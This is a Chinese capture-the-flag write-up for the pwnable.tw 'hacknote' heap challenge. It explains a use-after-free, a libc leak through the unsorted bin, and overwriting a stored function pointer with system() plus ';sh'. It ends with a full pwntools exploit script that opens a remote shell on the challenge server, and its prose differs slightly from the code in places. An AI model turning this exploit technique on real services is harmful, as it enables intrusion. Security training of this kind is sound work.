pwnable——hacknote
hacknote
查看保护机制
可以看到开了canary和nx,堆题嘛,很正常
接着去逆一下逻辑
程序逻辑
主函数
一眼菜单,典中典
menu函数
可以看到只有增、删、查,没有改
add函数
可以看到它有个限制是只能add五次(如果没有删除的话),然后显示malloc了一个0x8大小的空间,然后前面0x4大小存放了一个print函数的地址,然后后面0x4大小存放一个malloc(size)的地址,然后读size大小到第二个chunk
print函数
注意了是puts(a1+4),为什么是+4呢,下面的show函数会解释
delete函数
可以看到只有free但是没有情况ptr,甚至连note_num都没有更改,所以我们最多add5次
show函数
可以发现就是调用了print函数,然后可以注意到参数是第一个chunk的地址,所以要+4才是我们的第二个chunk也就是context
漏洞利用分析
泄露libc
对于这种uaf我们很明显就是利用unsortbin来泄露,先两个add(0x80),然后delete第二个,接下来add就把unsortbin的信息带出来的,要注意的是main_arena是在context+4的位置,所以我们要做的就是add的时候把前面四个字节覆盖成a就行了
调用system
可以发现ptr是不会清空的,而且show里面是直接调用第一个chunk保存的print函数,那么如果我们修改了它成system那不就可以调用system函数了吗
但是要注意这时候参数变成了system的地址怎么办,我们直接在后面接上;bin\x00这个分号的作用就是执行两次system函数,第一次是分号前面的内容作为参数,第二次是分号后面的内容作为参数,这不就很nice
那么怎么修改这个第一个chunk呢,我们首先add两个0x80大小(只要不是0x8就行),然后删除,接着add0x8大小,这样子我们就会把前面删除的两个的第一个chunk给malloc出来,那么这时候作为context的那个不就能修改了吗
exp
from pwn import*
from time import*
p=remote('chall.pwnable.tw',10102)
#p=process('./hacknote')
libc=ELF('./libc_32.so.6')
#sleep(5)
def add(size,content):
p.recvuntil('choice :')
p.sendline(str(1))
p.recvuntil('size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)
def delete(idx):
p.recvuntil('choice :')
p.sendline(str(2))
p.recvuntil('Index :')
p.sendline(str(idx))
def show(idx):
p.recvuntil('choice :')
p.sendline(str(3))
p.recvuntil('Index :')
p.sendline(str(idx))
add(0x80,'aaaa')#0
add(0x80,'aaaa')#1
delete(0)
#gdb.attach(p)
add(0x80,'aaab')#2
show(2)
p.recvuntil('aaab')
libc_base=u32(p.recv(4))-0x1b07b0
print('libc_base',hex(libc_base))
system=libc_base+libc.sym['system']#+0x3adb0
print('system',hex(system))
#binsh=libc_base+libc.search('/bin/sh\x00').next()#+0x15bb2b
#print('binsh',hex(binsh))
add(0x80,'aaaa')#3
delete(2)
delete(3)
payload=p32(system)+';sh\x00'
add(0x8,payload)#4
show(2)
p.interactive()